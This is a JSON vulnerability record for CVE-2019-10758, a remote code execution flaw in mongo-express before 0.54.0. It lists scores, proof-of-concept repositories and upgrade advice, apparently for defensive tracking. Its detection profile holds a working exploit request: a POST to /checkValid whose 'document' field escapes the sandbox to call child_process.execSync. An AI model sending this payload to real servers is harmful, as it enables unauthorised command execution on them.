{
  "id": "CVE-2019-10758",
  "url": "https://poc.griffinguard.io/cve/CVE-2019-10758",
  "published_at": "2019-12-24T21:08:36Z",
  "title": "MongoDB mongo-express Remote Code Execution Vulnerability",
  "vendor": "MongoDB",
  "product": "mongo-express",
  "cvss": {
    "score": 9.9,
    "source": "cisa-adp",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2021-12-10",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 717
  },
  "first_poc": {
    "created_at": "2019-12-26T06:58:56Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 1.4,
    "repo": "masahiro331/CVE-2019-10758",
    "source": "github"
  },
  "poc_repo_count": 3,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.",
  "cwe": "CWE-94",
  "cvss_by_source": {
    "cisa-adp": 9.9
  },
  "repos": [
    {
      "repo": "masahiro331/CVE-2019-10758",
      "url": "https://github.com/masahiro331/CVE-2019-10758",
      "created_at": "2019-12-26T06:58:56Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 112,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-07-13T11:56:45Z"
    },
    {
      "repo": "lp008/CVE-2019-10758",
      "url": "https://github.com/lp008/CVE-2019-10758",
      "created_at": "2020-01-05T14:05:56Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 5,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-03-12T06:43:57Z"
    },
    {
      "repo": "ossf-cve-benchmark/CVE-2019-10758",
      "url": "https://github.com/ossf-cve-benchmark/CVE-2019-10758",
      "created_at": "2020-12-01T09:18:57Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-10-26T17:28:09Z"
    },
    {
      "repo": "CyberCTF/vulhub-mongo-express-cve-2019-10758",
      "url": "https://github.com/CyberCTF/vulhub-mongo-express-cve-2019-10758",
      "created_at": "2026-10-08T20:15:25Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-12-01T11:12:42Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "",
        "product": "mongo-express",
        "ranges": [
          "\u003c 0.54.0"
        ],
        "fixed_in": [
          "0.54.0"
        ],
        "ecosystem": "npm",
        "advisory": "GHSA-h47j-hc6x-h3qq"
      }
    ],
    "upgrade": [
      "Upgrade mongo-express to 0.54.0 or later."
    ]
  },
  "exploit_refs": [
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10758.yaml",
      "source": "nuclei",
      "title": "nuclei template: mongo-express Remote Code Execution",
      "published_at": "2023-04-27T04:28:59Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/checkValid",
      "headers": [
        {
          "name": "Accept",
          "value": "*/*"
        },
        {
          "name": "Accept-Language",
          "value": "en"
        },
        {
          "name": "Authorization",
          "value": "Basic YWRtaW46cGFzcw=="
        }
      ],
      "body_markers": [
        "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"touch /tmp/success\")",
        "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"/Applications/Calculator.app/Contents/MacOS/Calculator\")"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8081
      ],
      "user_agents": [
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
      ],
      "protocol": "http",
      "repos": [
        "CyberCTF/vulhub-mongo-express-cve-2019-10758",
        "masahiro331/CVE-2019-10758"
      ],
      "repo_count": 2,
      "confidence": 0.85,
      "evidence": [
        "CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.md:22",
        "CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.zh-cn.md:20",
        "masahiro331/CVE-2019-10758/README.md:14"
      ]
    }
  ],
  "rules": []
}
